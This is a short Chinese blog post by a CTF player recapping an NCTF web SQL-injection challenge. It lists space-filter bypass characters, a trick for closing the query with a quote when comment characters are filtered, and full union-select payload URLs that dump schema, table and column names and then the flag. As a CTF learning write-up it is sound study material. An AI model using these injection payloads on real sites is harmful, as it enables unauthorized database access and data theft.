我果真是太菜了,nctf只做出了web签到题和re签到题外加打了一个i wanna,连web的sql注入签到都没有做出来,在看了一位大佬的write up后,感觉收获很多。
http://ctfgame.acdxvfsvd.net:20001/
首先学到了空格的过滤绕过:1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
发现过滤了截断符号%23,#,–+,只要在语句最后在加个单引号使其闭合就可以了,’’空的也可以执行,就不用用注释了。
然后大佬提到’必须直接跟在select后。1
2
3?id=1'' 查询:select * from user where id='1''' LIMIT0,1 可以
?id=1' and 1=1' 查询:select * from users where id='1' and 1=1'' LIMIT 0,1 不可以
id=-1' union select 1,2,3' 可以
然后用子查询进行操作,select * from user where id=’-1’ union select (select group_concat(schema_name) from information_schema.schemata),2,3’,这样就行了。1
2
3
4http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%27爆数据库名,应该是这个flaaaaaaag数据库。
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27flaaaaaaag%27),2,3%27爆表名,f144444444g
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=%27f144444444g%27),2,3%27爆列名,th1s_1s_flag
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0th1s_1s_flag%a0from%a0flaaaaaaag.f144444444g),2,3%27查询到flag
收获很多。